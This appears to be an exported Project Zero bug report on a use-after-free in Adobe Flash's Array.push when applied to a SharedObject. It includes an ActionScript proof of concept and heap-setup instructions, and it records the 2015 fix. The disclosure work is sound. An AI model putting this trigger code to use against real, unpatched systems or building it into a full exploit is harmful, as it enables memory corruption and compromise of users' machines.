Adobe Flash: Use-after-free in Array.push

[GoogleCodeExporter]

In certain cases when an array push is performed, it can lead to a 
use-after-free if the array is a SharedObject.

A proof of concept is as follows:

var s = SharedObject.getLocal("test");

ASSetPropFlags(s, null, 0, 0xff);
ASSetPropFlags(s.data, null, 0, 0xff);
var q = {myprop  :"natalie", myprop2 : "test"};
s.data[0] = q;
s.data.length = 0;
trace(s.data[0]);
s.flush();
var a = [];

trace(s.data.length);
a.push.call(s.data, "test");

trace(s.data[0]);
s = 1;
var a = [];
var c = [];
for(i = 0; i < 200; i++){

    var b = new flash.display.BitmapData(1000, 1000, true, 10);
}

setInterval(f, 1000);

function f(){

    trace(x);
    ASnative(252, 1).call(q); //Array push

    }

A fla, an AS file and two swfs are attached. arraypush.fla compiles to 
arraypush.swf and contains the code that causes the use-after-free. loadswf.as 
compiles to loadswf.swf, and sets up the heap to cause a crash. To make the 
issue occur, put loadswf.swf and arraypush.swf in the same folder on a 
webserver (the PoCs don't always work locally due to flash network sandboxing), 
and load loadswf.swf. This PoC only works on 64-bit systems, but the issue 
would work on a 32-bit system with proper heap set-up. 

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

Original issue reported on code.google.com by natashe...@google.com on 6 May 2015 at 10:19

Attachments:

• loadswf.swf
• loadswf.as
• arraypush.swf
• arraypush.fla

[GoogleCodeExporter]

This is PSIRT-3660

Original comment by natashe...@google.com on 8 May 2015 at 6:43

[GoogleCodeExporter]

Original comment by cev...@google.com on 5 Jul 2015 at 6:32

• Added labels: CVE-2015-3131

[GoogleCodeExporter]

Fixed: https://helpx.adobe.com/security/products/flash-player/apsb15-16.html

Original comment by cev...@google.com on 9 Jul 2015 at 12:37

• Changed state: Fixed
• Added labels: Fixed-2015-Jul-8

[GoogleCodeExporter]

Original comment by natashe...@google.com on 3 Aug 2015 at 9:42

• Removed labels: Restrict-View-Commit